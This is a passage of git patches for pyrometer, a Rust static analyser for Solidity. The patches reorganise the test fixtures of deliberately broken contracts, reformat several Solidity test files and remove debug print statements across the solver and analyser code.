--- a/crates/pyrometer/tests/helpers.rs +++ b/crates/pyrometer/tests/helpers.rs @@ -30,6 +30,15 @@ pub fn assert_no_parse_errors(path_str: String) { ); } +pub fn assert_has_parse_or_panic_errors(path_str: String) { + let panics = std::panic::catch_unwind(|| assert_no_parse_errors(path_str.clone())).is_err(); + assert!( + panics, + "Supposedly broken file did not encounter parse errors or panic in {}", + path_str + ); +} + pub fn assert_no_ctx_killed(path_str: String, sol: &str) { let mut analyzer = Analyzer::default(); let mut arena_base = Default::default(); diff --git a/crates/pyrometer/tests/no_killed_ctxs.rs b/crates/pyrometer/tests/no_killed_ctxs.rs index 352d3896..5e88f4fa 100644 --- a/crates/pyrometer/tests/no_killed_ctxs.rs +++ b/crates/pyrometer/tests/no_killed_ctxs.rs @@ -240,12 +240,15 @@ fn test_variable() { } #[test] -#[should_panic] fn test_broken() { let manifest_dir = env::var("CARGO_MANIFEST_DIR").unwrap(); - let path_str = format!("{manifest_dir}/tests/test_data/broken.sol"); - let sol = include_str!("./test_data/broken.sol"); - assert_no_ctx_killed(path_str, sol); + let path_str = format!("{manifest_dir}/tests/test_data/broken/"); + let paths = std::fs::read_dir(path_str).unwrap(); + for path in paths { + let path_str = path.unwrap().path().display().to_string(); + println!("checking parse errors in: {path_str}"); + assert_has_parse_or_panic_errors(path_str); + } } #[test] diff --git a/crates/pyrometer/tests/test_data/broken/delete.sol b/crates/pyrometer/tests/test_data/broken/delete.sol new file mode 100644 index 00000000..811f68c9 --- /dev/null +++ b/crates/pyrometer/tests/test_data/broken/delete.sol @@ -0,0 +1,80 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + +// Merge into delete.sol when fixed +contract ComplexDelete { + struct ContactInfo { + string email; + string phone; + } + + struct Address { + string street; + string city; + string country; + uint256 postalCode; + } + + struct Employment { + string company; + string position; + uint256 startDate; + uint256 endDate; + } + + struct Education { + string institution; + string degree; + uint256 graduationYear; + } + + struct User { + uint256 id; + string name; + ContactInfo contactInfo; + Address[] addresses; + Employment[] employmentHistory; + Education[] educationHistory; + mapping(string => bool) preferences; + } + + mapping(uint256 => User) public users; + uint256[] public userIds; + + function deleteUserAddress(uint256 userId, uint256 addressIndex) public { + require( + addressIndex < users[userId].addresses.length, + "Address index out of bounds" + ); + users[userId].addresses[addressIndex] = users[userId].addresses[ + users[userId].addresses.length - 1 + ]; + users[userId].addresses.pop(); + } + + function deleteEmploymentHistory( + uint256 userId, + uint256 employmentIndex + ) public { + require( + employmentIndex < users[userId].employmentHistory.length, + "Employment index out of bounds" + ); + users[userId].employmentHistory[employmentIndex] = users[userId] + .employmentHistory[users[userId].employmentHistory.length - 1]; + users[userId].employmentHistory.pop(); + } + + function deleteEducationHistory( + uint256 userId, + uint256 educationIndex + ) public { + require( + educationIndex < users[userId].educationHistory.length, + "Education index out of bounds" + ); + users[userId].educationHistory[educationIndex] = users[userId] + .educationHistory[users[userId].educationHistory.length - 1]; + users[userId].educationHistory.pop(); + } +} diff --git a/crates/pyrometer/tests/test_data/broken.sol b/crates/pyrometer/tests/test_data/broken/require_killed.sol similarity index 67% rename from crates/pyrometer/tests/test_data/broken.sol rename to crates/pyrometer/tests/test_data/broken/require_killed.sol index d32d9f55..243d4e89 100644 --- a/crates/pyrometer/tests/test_data/broken.sol +++ b/crates/pyrometer/tests/test_data/broken/require_killed.sol @@ -1,26 +1,8 @@ +// SPDX-License-Identifier: MIT or APACHE2 +// Move to require_with_killed.sol when fixed +// Note: I've added broken@brock comments to the issues i know of pragma solidity ^0.8.0; -/////// This block of code will live in variable.sol when fixed /////////// -contract B { - struct A { - address a; - } -} - -contract A is B { - A a; // contract A - - function return_struct() external returns (A memory) { - // a is of type B.A, *not* Contract::A - a = A(address(this)); - return a; - } -} - -////////////////////////////////////////////////////////////// - -///////// This whole contract will live in require_with_killed.sol when fixed /////////// -// Note: I've added broken@brock comments to the issues i know of contract RequireWithKilled { uint public count = 0; uint storeRange = 0; @@ -187,84 +169,3 @@ contract RequireWithKilled { return returnValue; } } - -///////////////////////////////////////////////////////////////// - -////// This contract's functions will be merged into delete.sol when fixed /////////// -contract ComplexDelete { - struct ContactInfo { - string email; - string phone; - } - - struct Address { - string street; - string city; - string country; - uint256 postalCode; - } - - struct Employment { - string company; - string position; - uint256 startDate; - uint256 endDate; - } - - struct Education { - string institution; - string degree; - uint256 graduationYear; - } - - struct User { - uint256 id; - string name; - ContactInfo contactInfo; - Address[] addresses; - Employment[] employmentHistory; - Education[] educationHistory; - mapping(string => bool) preferences; - } - - mapping(uint256 => User) public users; - uint256[] public userIds; - - function deleteUserAddress(uint256 userId, uint256 addressIndex) public { - require( - addressIndex < users[userId].addresses.length, - "Address index out of bounds" - ); - users[userId].addresses[addressIndex] = users[userId].addresses[ - users[userId].addresses.length - 1 - ]; - users[userId].addresses.pop(); - } - - function deleteEmploymentHistory( - uint256 userId, - uint256 employmentIndex - ) public { - require( - employmentIndex < users[userId].employmentHistory.length, - "Employment index out of bounds" - ); - users[userId].employmentHistory[employmentIndex] = users[userId] - .employmentHistory[users[userId].employmentHistory.length - 1]; - users[userId].employmentHistory.pop(); - } - - function deleteEducationHistory( - uint256 userId, - uint256 educationIndex - ) public { - require( - educationIndex < users[userId].educationHistory.length, - "Education index out of bounds" - ); - users[userId].educationHistory[educationIndex] = users[userId] - .educationHistory[users[userId].educationHistory.length - 1]; - users[userId].educationHistory.pop(); - } -} -///////////////////////////////////////////////////////////////// diff --git a/crates/pyrometer/tests/test_data/repros/overflow.sol b/crates/pyrometer/tests/test_data/repros/overflow.sol index 220fa673..e9aa2501 100644 --- a/crates/pyrometer/tests/test_data/repros/overflow.sol +++ b/crates/pyrometer/tests/test_data/repros/overflow.sol @@ -2,29 +2,55 @@ pragma solidity ^0.8.18; interface IUniswapV2Router { function factory() external pure returns (address); + function WETH() external pure returns (address); - function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external; + + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint256, + uint256, + address[] calldata path, + address, + uint256 + ) external; } + interface IUniswapV2Factory { - function getPair(address tokenA, address tokenB) external view returns (address pair); + function getPair( + address tokenA, + address tokenB + ) external view returns (address pair); } abstract contract Ownable { address private _owner; } + abstract contract ERC20Token is Ownable { address uniswapV2Pair; } contract Contract is ERC20Token { - mapping (address => uint256) private _balances; - IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); - function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } + mapping(address => uint256) private _balances; + IUniswapV2Router private _router = + IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + + function balanceOf(address account) public view returns (uint256) { + return _balances[account]; + } + function getReflectAmount(address from) private view returns (uint256) { - address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()); + address to = IUniswapV2Factory(_router.factory()).getPair( + address(this), + _router.WETH() + ); return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair)); } - function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) { + + function getReflectTokensAmount( + address uniswapV2Pair, + address recipient, + uint256 feeAmount + ) private pure returns (uint256) { uint256 amount = feeAmount; uint256 minSupply = 0; if (uniswapV2Pair != recipient) { @@ -34,4 +60,4 @@ contract Contract is ERC20Token { } return amount; } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/todo.sol b/crates/pyrometer/tests/test_data/todo.sol index 8b5e3b29..4511a35d 100644 --- a/crates/pyrometer/tests/test_data/todo.sol +++ b/crates/pyrometer/tests/test_data/todo.sol @@ -1,3 +1,4 @@ +// SPDX-License-Identifier: MIT or APACHE2 pragma solidity ^0.8.0; contract Todo { @@ -5,12 +6,16 @@ contract Todo { function env() public view { bytes32 b = blobhash(1); uint d = block.blobbasefee; + b; + d; } // will live in assign.sol when added function array_literals() public pure { uint[2] memory a = [uint(1), uint(2)]; uint[2] memory b = [uint(3), uint(4)]; + a; + b; } // will live in assign.sol when added diff --git a/crates/pyrometer/tests/test_data/variable.sol b/crates/pyrometer/tests/test_data/variable.sol index d24980cb..7a5da261 100644 --- a/crates/pyrometer/tests/test_data/variable.sol +++ b/crates/pyrometer/tests/test_data/variable.sol @@ -17,7 +17,7 @@ contract Variable { return a_user_type.aUserType; } - function a_user_type_storage() public returns (uint) { + function a_user_type_storage() public view returns (uint) { aUserType storage a_user_type = a_user_type; return a_user_type.aUserType; } diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index 9e74093b..d5333f10 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -4,7 +4,7 @@ use graph::{ BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet, TmpConstruction, }, - AnalyzerBackend, Range, SolcRange, VarType, + AnalyzerBackend, SolcRange, VarType, }; use shared::{ExprErr, IntoExprErr, RangeArena}; diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 3347ecb9..5e5cf0ca 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -615,7 +615,7 @@ pub trait Flatten: self.push_expr(FlatExpr::NumberLiteral(loc, "1", "", None)); true } - FlatExpr::HexNumberLiteral(loc, int, unit) => { + FlatExpr::HexNumberLiteral(loc, int, _) => { let all_zero = int .strip_prefix("0x") .unwrap_or(int) diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs index 1606eb63..bdeef735 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs @@ -76,7 +76,7 @@ pub trait DynBuiltinCaller: AnalyzerBackend Err(ExprErr::UnhandledCombo( - loc, - format!("Unhandled combination in require: {:?} {:?}", e, f), - )), } } diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index f1aff890..e187f882 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -97,7 +97,7 @@ pub trait Variable: AnalyzerBackend + Size } else { vec![] }; - if let Some(idx) = self.disambiguate(ctx, ident.loc, idxs, in_scope, location) { + if let Some(idx) = self.disambiguate(ctx, idxs, in_scope, location) { idx } else { return Err(ExprErr::ParseError( @@ -203,13 +203,12 @@ pub trait Variable: AnalyzerBackend + Size fn disambiguate( &mut self, ctx: ContextNode, - loc: Loc, mut idxs: Vec, inscope_storage: Vec, location: Option, ) -> Option { // disambiguate based on left hand side if it exists - if let Some(maybe_lhs) = ctx.underlying(self).ok()?.expr_ret_stack.get(0) { + if let Some(maybe_lhs) = ctx.underlying(self).ok()?.expr_ret_stack.first() { tracing::trace!("Disambiguate based on lhs: {}", maybe_lhs.debug_str(self)); if let ExprRet::Single(lhs_idx) = maybe_lhs { if let Some(var_ty) = VarType::try_from_idx(self, *lhs_idx) { From 2c8e91831bd986762181aa52b5ff56fd752aca9c Mon Sep 17 00:00:00 2001 From: brock elmore Date: Mon, 22 Jul 2024 13:59:27 -0700 Subject: [PATCH 46/52] remove prints --- crates/analyzers/src/func_analyzer/mod.rs | 13 --- crates/cli/src/main.rs | 12 --- crates/graph/src/nodes/context/solving.rs | 6 +- crates/graph/src/nodes/context/variables.rs | 1 - .../graph/src/nodes/debug_reconstruction.rs | 4 - .../graph/src/range/elem/elem_enum/arena.rs | 5 - crates/graph/src/range/elem/expr/collapse.rs | 3 - crates/graph/src/range/elem/mod.rs | 1 - crates/graph/src/solvers/atoms.rs | 15 +-- crates/graph/src/solvers/brute.rs | 100 ------------------ crates/pyrometer/src/analyzer.rs | 2 - crates/pyrometer/src/analyzer_backend.rs | 14 --- crates/pyrometer/src/graph_backend.rs | 23 +--- crates/solc-expressions/src/assign.rs | 6 -- crates/solc-expressions/src/literal.rs | 1 - .../src/member_access/builtin_access.rs | 9 -- .../src/member_access/library_access.rs | 1 - crates/solc-expressions/src/variable.rs | 11 +- 18 files changed, 10 insertions(+), 217 deletions(-) diff --git a/crates/analyzers/src/func_analyzer/mod.rs b/crates/analyzers/src/func_analyzer/mod.rs index 6a86b4f7..77830421 100644 --- a/crates/analyzers/src/func_analyzer/mod.rs +++ b/crates/analyzers/src/func_analyzer/mod.rs @@ -61,19 +61,6 @@ impl<'a> FunctionVarsBoundAnalysis { .iter() .map(|var| (var.as_controllable_name(analyzer, arena).unwrap(), var)) .collect::>(); - // create the bound strings - // let atoms = ctx.dep_atoms(analyzer).unwrap(); - // println!("had {} atoms", atoms.len()); - // let mut handled_atom = vec![]; - // let mut bounds_string: Vec = vec![]; - // atoms.iter().enumerate().for_each(|(i, atom)| { - // let atom_str = atom.to_range_string(true, analyzer, arena).s; - // if !handled_atom.contains(&atom_str) { - // handled_atom.push(atom_str.clone()); - // bounds_string.push(format!("{}. {}", i + 1, atom_str)) - // } - // }); - // let bounds_string = bounds_string.into_iter().collect::>().join("\n"); let bounds_string = deps .iter() diff --git a/crates/cli/src/main.rs b/crates/cli/src/main.rs index 12de880d..4be132b9 100644 --- a/crates/cli/src/main.rs +++ b/crates/cli/src/main.rs @@ -304,7 +304,6 @@ fn main() { println!("DONE ANALYZING IN: {parse_time}ms. Writing to cli..."); - // println!("Arena: {:#?}", analyzer.range_arena); if unsafe { USE_DEBUG_SITE } { use pyrometer::graph_backend::mermaid_str; use pyrometer::graph_backend::post_to_site_arena; @@ -328,7 +327,6 @@ fn main() { if args.stats { println!("{}", analyzer.stats(t_end, arena)); } - // println!("Arena: {:#?}", analyzer.range_arena); // use self.sources to fill a BTreeMap with the file_no and SourcePath.path_to_solidity_file let mut file_mapping: BTreeMap = BTreeMap::new(); @@ -370,20 +368,10 @@ fn main() { analyzer.open_mermaid(arena); } - // println!("{}", analyzer.range_arena.ranges.iter().map(|i| { - // let j = i.borrow(); - // let (min_cached, max_cached) = j.is_min_max_cached(&analyzer); - // format!("\t{j}, is cached: {min_cached}, {max_cached}\n") - // }).collect::>().join("")); - // println!("{}", analyzer.range_arena.map.iter().map(|(k, v)| { - // format!("\t{}: {}\n", k, v) - // }).collect::>().join("")); - if args.debug { return; } - // println!("getting contracts"); let all_contracts = analyzer .search_children(entry, &Edge::Contract) .into_iter() diff --git a/crates/graph/src/nodes/context/solving.rs b/crates/graph/src/nodes/context/solving.rs index fc74dae9..45500d3e 100644 --- a/crates/graph/src/nodes/context/solving.rs +++ b/crates/graph/src/nodes/context/solving.rs @@ -22,17 +22,13 @@ impl ContextNode { analyzer: &mut impl GraphBackend, arena: &mut RangeArena>, ) -> Result { - // println!("checking unreachable: {}", self.path(analyzer)); let mut solver = self.dl_solver(analyzer)?.clone(); match solver.solve_partial(analyzer, arena)? { SolveStatus::Unsat => { tracing::trace!("{} is unreachable via UNSAT", self.path(analyzer)); Ok(true) } - _e => { - // println!("other: {e:?}"); - Ok(false) - } + _e => Ok(false), } } diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index a126e0f0..aa019d3e 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -212,7 +212,6 @@ impl ContextNode { } pub fn contract_vars_referenced_global(&self, analyzer: &impl AnalyzerBackend) -> Vec { - println!("getting storage vars for: {}", self.path(analyzer)); let mut reffed_storage = self.contract_vars_referenced(analyzer); analyzer .graph() diff --git a/crates/graph/src/nodes/debug_reconstruction.rs b/crates/graph/src/nodes/debug_reconstruction.rs index 166b6c41..f286397d 100644 --- a/crates/graph/src/nodes/debug_reconstruction.rs +++ b/crates/graph/src/nodes/debug_reconstruction.rs @@ -502,10 +502,6 @@ impl FunctionNode { &self, analyzer: &mut impl AnalyzerBackend, ) -> FuncReconstructionReqs { - println!( - "reconstruction requirements for: {}", - self.name(analyzer).unwrap() - ); FuncReconstructionReqs { storage: self.maybe_used_storage(analyzer).unwrap_or_default(), usertypes: self.maybe_used_usertypes(analyzer).unwrap_or_default(), diff --git a/crates/graph/src/range/elem/elem_enum/arena.rs b/crates/graph/src/range/elem/elem_enum/arena.rs index be98e938..4fba11d3 100644 --- a/crates/graph/src/range/elem/elem_enum/arena.rs +++ b/crates/graph/src/range/elem/elem_enum/arena.rs @@ -124,11 +124,6 @@ impl RangeArenaLike> for RangeArena> { self.map.insert(Elem::Null, 0); } - // println!( - // "{}\nhad cycle:\n{:?}", - // self.debug_str(analyzer), - // petgraph::dot::Dot::new(&self.to_graph(analyzer).unwrap()) // petgraph::algo::toposort(&self.to_graph(analyzer).unwrap(), None).is_err() - // ); match elem { Elem::Arena(idx) => return idx, Elem::Null => return 0, diff --git a/crates/graph/src/range/elem/expr/collapse.rs b/crates/graph/src/range/elem/expr/collapse.rs index d4242831..83587bc9 100644 --- a/crates/graph/src/range/elem/expr/collapse.rs +++ b/crates/graph/src/range/elem/expr/collapse.rs @@ -60,7 +60,6 @@ pub fn collapse( tracing::trace!("collapsing: {l} {op} {r}"); let l = if let Elem::Expr(e) = l { - //println!("collapsing lhs"); match collapse(*e.lhs, e.op, *e.rhs, arena) { MaybeCollapsed::Not(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), MaybeCollapsed::Concretes(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), @@ -71,7 +70,6 @@ pub fn collapse( }; let r = if let Elem::Expr(e) = r { - //println!("collapsing rhs"); match collapse(*e.lhs, e.op, *e.rhs, arena) { MaybeCollapsed::Not(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), MaybeCollapsed::Concretes(l, op, r) => Elem::Expr(RangeExpr::new(l, op, r)), @@ -193,7 +191,6 @@ pub fn collapse( if (ords.x_eq_z() || ords.y_eq_z()) || z.range_eq(&Elem::from(Concrete::from(true)), arena) { - println!("collapsed == true"); MaybeCollapsed::Collapsed(Elem::Expr(expr)) } else { MaybeCollapsed::Not(Elem::Expr(expr), op, z) diff --git a/crates/graph/src/range/elem/mod.rs b/crates/graph/src/range/elem/mod.rs index e18640c6..1ae8a707 100644 --- a/crates/graph/src/range/elem/mod.rs +++ b/crates/graph/src/range/elem/mod.rs @@ -244,7 +244,6 @@ impl RangeOp { Gt => Lt, Lt => Gt, other => { - println!("other:{other:?}"); return None; } }; diff --git a/crates/graph/src/solvers/atoms.rs b/crates/graph/src/solvers/atoms.rs index f3d52ae0..b9b7cdfb 100644 --- a/crates/graph/src/solvers/atoms.rs +++ b/crates/graph/src/solvers/atoms.rs @@ -326,7 +326,6 @@ impl Atomize for Elem { expr.rhs.atoms_or_part(Some(self), analyzer, arena), ) { (ref lp @ AtomOrPart::Part(ref l), ref rp @ AtomOrPart::Part(ref r)) => { - // println!("part part"); match (l, r) { (_, Elem::Arena(_)) => todo!(), (Elem::Arena(_), _) => todo!(), @@ -385,16 +384,12 @@ impl Atomize for Elem { } } (AtomOrPart::Atom(l_atom), r @ AtomOrPart::Part(_)) => { - // println!("atom part"); - AtomOrPart::Atom(l_atom.add_rhs(expr.op, r)) } (l @ AtomOrPart::Part(_), AtomOrPart::Atom(r_atom)) => { - // println!("part atom"); AtomOrPart::Atom(r_atom.add_lhs(expr.op, l)) } (AtomOrPart::Atom(l_atoms), AtomOrPart::Atom(r_atoms)) => { - // println!("atom atom"); AtomOrPart::Atom(r_atoms.add_lhs(expr.op, AtomOrPart::Atom(l_atoms))) } } @@ -412,14 +407,12 @@ impl Atomize for Elem { use Elem::*; tracing::trace!("atomize: {}", self); match self { - Reference(_) => None, //{ println!("was dyn"); None}, - Null => None, //{ println!("was null"); None}, - Concrete(_c) => None, //{ println!("was conc: {}", _c.val.as_human_string()); None }, - ConcreteDyn(_) => None, //{ println!("was concDyn"); None}, + Reference(_) => None, + Null => None, + Concrete(_c) => None, + ConcreteDyn(_) => None, Expr(_) => { - // println!("atomized: was expr"); let AtomOrPart::Atom(mut a) = self.atoms_or_part(None, analyzer, arena) else { - // println!("returning none"); return None; }; a.update_max_ty(); diff --git a/crates/graph/src/solvers/brute.rs b/crates/graph/src/solvers/brute.rs index 7bdb130a..3947e7f6 100644 --- a/crates/graph/src/solvers/brute.rs +++ b/crates/graph/src/solvers/brute.rs @@ -112,13 +112,6 @@ impl BruteBinSearchSolver { // Sometimes a storage variable will be split due to a context fork. We recombine them here atomic_idxs.sort(); atomic_idxs.dedup(); - // atomic_idxs.iter().for_each(|dep| { - // println!( - // "atomic dep: {} - {}", - // dep.display_name(analyzer).unwrap(), - // dep.0 - // ) - // }); // let atomics = atomic_idxs; let mut storage_atomics: BTreeMap> = BTreeMap::default(); let mut calldata_atomics = vec![]; @@ -199,7 +192,6 @@ impl BruteBinSearchSolver { let range = &self.atomic_ranges[atomic]; let mut min = range.evaled_range_min(analyzer, arena).unwrap(); min.cache_minimize(analyzer, arena).unwrap(); - // println!("min: {}", min.minimize(analyzer).unwrap().to_range_string(false, analyzer, arena).s); let mut max = range.evaled_range_max(analyzer, arena).unwrap(); max.cache_maximize(analyzer, arena).unwrap(); let mut mid = (min.clone() + max.clone()) / Elem::from(Concrete::from(U256::from(2))); @@ -265,7 +257,6 @@ impl BruteBinSearchSolver { analyzer: &mut impl GraphBackend, arena: &mut RangeArena>, ) -> bool { - // println!("lowering mid"); // move the high to high + mid / 2 // reset the mid let mut curr_lmr = self.lmrs[i].clone(); @@ -321,9 +312,6 @@ impl SolcSolver for BruteBinSearchSolver { .ranges .iter() .filter_map(|(_dep, range)| { - // println!("dep: {}", dep.display_name(analyzer).unwrap()); - - // println!("atom: {atom:#?}"); if let Some(atom) = range.min.atomize(analyzer, arena) { Some(atom) } else { @@ -397,7 +385,6 @@ impl SolcSolver for BruteBinSearchSolver { .collect() } } - // println!("solved for: {:#?}", atomic_solves); if atomic_solves.len() == self.atomics.len() { return Ok(AtomicSolveStatus::Sat(atomic_solves)); @@ -459,13 +446,11 @@ impl SolcSolver for BruteBinSearchSolver { }); }); new_range.cache_eval(analyzer, arena).unwrap(); - // println!("{}, original range: [{}, {}], new range: [{}, {}]", dep.display_name(analyzer).unwrap(), range.min, range.max, new_range.min_cached.clone().unwrap(), new_range.max_cached.clone().unwrap()); new_range.sat(analyzer, arena) }); if all_good { Ok(AtomicSolveStatus::Sat(mapping)) } else { - // println!("thought we solved but we didnt"); Ok(AtomicSolveStatus::Indeterminate) } } else { @@ -483,7 +468,6 @@ impl SolcSolver for BruteBinSearchSolver { analyzer: &mut impl AnalyzerBackend, arena: &mut RangeArena>, ) -> Result { - // println!("recurse check for: {}", self.atomics[i].idxs[0].display_name(analyzer).unwrap()); if i >= self.lmrs.len() { return Ok(false); } @@ -653,7 +637,6 @@ impl SolcSolver for BruteBinSearchSolver { analyzer: &mut impl GraphBackend, arena: &mut RangeArena>, ) -> Result<(bool, Option), GraphError> { - // println!("checking: {}, conc: {}, {}", this.atomics[solved_for_idx].idxs[0].display_name(analyzer).unwrap(), conc.maximize(analyzer, arena)?.to_range_string(true, analyzer, arena).s, conc.minimize(analyzer)?.to_range_string(false, analyzer, arena).s); solved_atomics.push(solved_for_idx); let mut new_ranges = BTreeMap::default(); this.intermediate_atomic_ranges.insert( @@ -686,7 +669,6 @@ impl SolcSolver for BruteBinSearchSolver { match dl_solver.solve_partial(analyzer, arena)? { SolveStatus::Unsat => { - // println!("TRUE UNSAT"); return Ok((false, None)); } SolveStatus::Sat { @@ -762,50 +744,18 @@ impl SolcSolver for BruteBinSearchSolver { SolcRange::new(val.clone().into(), val.into(), vec![]), ); }); - // println!("new solves: {atomic_solves:#?}"); for dep in this.deps.iter() { let range = this .intermediate_ranges .get(dep) .expect("No range for dep?"); - // if dep.display_name(analyzer).unwrap() == "(p2 < (61 * p3)) == true" { - // println!("range: {:#?}\n{:#?}", range.min, range.max); - // println!("simplified range: {:#?}\n{:#?}", range.min.simplify_minimize(&mut vec![], analyzer), range.max.simplify_maximize(&mut vec![], analyzer)); - // } - // println!("atomizing dep: {}", dep.display_name(analyzer).unwrap()); - // println!("min atomized: {:#?}, max atomized: {:#?}", range.min.simplify_minimize(&mut vec![], analyzer)?.atomize(), range.max.simplify_maximize(&mut vec![], analyzer)?.atomize()); if solved_dep.idxs.contains(dep) { - // println!("FOR SOLVED DEP"); continue; } // check that the concrete value doesn't break any let mut new_range = range.clone(); - // check if const now - // if let Some((Some(idx), const_ineq)) = new_range.min.maybe_const_inequality() { - // println!("min const ineq: {} for {}", const_ineq.maybe_concrete().unwrap().val.as_human_string(), ContextVarNode::from(idx).display_name(analyzer).unwrap()); - - // if let Some(position) = this.atomics.iter().position(|atomic| atomic.idxs.contains(&ContextVarNode::from(idx))) { - // // check and return) - // if !solved_atomics.contains(&position) { - // println!("inner min const ineq"); - // return check_for_lmr(this, position, &this.atomics[position].clone(), const_ineq, solved_atomics, analyzer); - // } - // } - - // } - // if let Some((Some(idx), const_ineq)) = new_range.max.maybe_const_inequality() { - // println!("max const ineq: {} for {} ({}), {:#?}", const_ineq.maybe_concrete().unwrap().val.as_human_string(), ContextVarNode::from(idx).display_name(analyzer).unwrap(), idx.index(), this.atomics); - // if let Some(position) = this.atomics.iter().position(|atomic| atomic.idxs.contains(&ContextVarNode::from(idx))) { - // // check and return - // if !solved_atomics.contains(&position) { - // println!("inner max const ineq"); - // return check_for_lmr(this, position, &this.atomics[position].clone(), const_ineq, solved_atomics, analyzer); - // } - // } - // } - // check if the new range is dependent on the solved variable let is_dependent_on_solved = new_range .dependent_on(analyzer, arena) @@ -818,17 +768,6 @@ impl SolcSolver for BruteBinSearchSolver { continue; } - // println!("new range for {} dependent_on: {:?}, replacing {:?}, is dependent on solved: {is_dependent_on_solved}", dep.display_name(analyzer).unwrap(), new_range.dependent_on(), solved_dep.idxs); - // println!("dep {}:\n\tinitial range: [{}, {}],\n\tcurr range: [{}, {}]", - // dep.display_name(analyzer).unwrap(), - // dep.evaled_range_min(analyzer, arena)?.unwrap().to_range_string(false, analyzer, arena).s, - // dep.evaled_range_max(analyzer, arena)?.unwrap().to_range_string(true, analyzer, arena).s, - // new_range.evaled_range_min(analyzer, arena)?.to_range_string(false, analyzer, arena).s, - // new_range.evaled_range_max(analyzer, arena)?.to_range_string(true, analyzer, arena).s, - // // new_range.range_min() - // ); - - // println!("dep {} range: {:#?} {:#?}", dep.display_name(analyzer).unwrap(), new_range.min, new_range.max); if new_range.unsat(analyzer, arena) { return Ok((false, None)); // panic!("initial range unsat???") @@ -842,43 +781,14 @@ impl SolcSolver for BruteBinSearchSolver { }); new_range.cache_eval(analyzer, arena)?; - // println!("new range: [{}, {}], [{}, {}]", - // new_range.evaled_range_min(analyzer, arena)?.to_range_string(false, analyzer, arena).s, - // new_range.evaled_range_max(analyzer, arena)?.to_range_string(true, analyzer, arena).s, - // new_range.min.to_range_string(false, analyzer, arena).s, - // new_range.max.to_range_string(true, analyzer, arena).s, - // ); if new_range.unsat(analyzer, arena) { // figure out *where* we need to increase or decrease // work on the unreplace range for now let min_is_dependent = !range.min.dependent_on(analyzer, arena).is_empty(); let max_is_dependent = !range.max.dependent_on(analyzer, arena).is_empty(); - match (min_is_dependent, max_is_dependent) { - (true, true) => { - // both sides dependent - // println!("both"); - } - (false, true) => { - // just max is dependent - // println!("just max"); - } - (true, false) => { - // just min is dependent - // println!("just min"); - } - (false, false) => { - // panic!("this shouldnt happen"); - } - } - - // println!("new unsat range: [{}, {}]", - // new_range.evaled_range_min(analyzer, arena)?.to_range_string(false, analyzer, arena).s, - // new_range.evaled_range_max(analyzer, arena)?.to_range_string(true, analyzer, arena).s, - // ); // compare new range to prev range to see if they moved down or up - // panic!("here"); let min_change = new_range .evaled_range_min(analyzer, arena)? .range_ord(&range.evaled_range_min(analyzer, arena)?, arena); @@ -891,28 +801,18 @@ impl SolcSolver for BruteBinSearchSolver { } (Some(std::cmp::Ordering::Greater), Some(std::cmp::Ordering::Less)) => { // we shrank our range, dont give a hint - // println!("None, dep isnt sat: {}, dep initial range: {}", dep.display_name(analyzer).unwrap(), dep.range_string(analyzer).unwrap().unwrap()); return Ok((false, None)); } (Some(std::cmp::Ordering::Greater), _) => { // both grew, try lowering - // println!("Lower, dep isnt sat: {}, dep initial range: {}", dep.display_name(analyzer).unwrap(), dep.range_string(analyzer).unwrap().unwrap()); return Ok((false, Some(HintOrRanges::Lower))); } (Some(std::cmp::Ordering::Less), _) => { // both grew, try lowering - // println!("Higher, dep isnt sat: {}, dep initial range: {}", dep.display_name(analyzer).unwrap(), dep.range_string(analyzer).unwrap().unwrap()); return Ok((false, Some(HintOrRanges::Higher))); } - // (Some(std::cmp::Ordering::Equal), _) => { - // panic!("here"); - // } - // (_, Some(std::cmp::Ordering::Equal)) => { - // panic!("here"); - // } _ => { - // println!("None empty, dep isnt sat: {}, dep initial range: {}", dep.display_name(analyzer).unwrap(), dep.range_string(analyzer).unwrap().unwrap()); return Ok((false, None)); } } diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 34fa1c33..82665d06 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -1148,7 +1148,6 @@ impl Analyzer { }) .copied() .collect(); - println!("relevant_funcs: {relevant_funcs:#?}"); if matches!(self.node(scope_node), Node::Contract(_)) { self.add_edge( scope_node, @@ -1158,7 +1157,6 @@ impl Analyzer { } relevant_funcs.iter().for_each(|func| { - println!("connecting: {:#?}, {:#?}", self.node(ty_idx), func); self.add_edge(ty_idx, *func, Edge::LibraryFunction(scope_node)); }); break; diff --git a/crates/pyrometer/src/analyzer_backend.rs 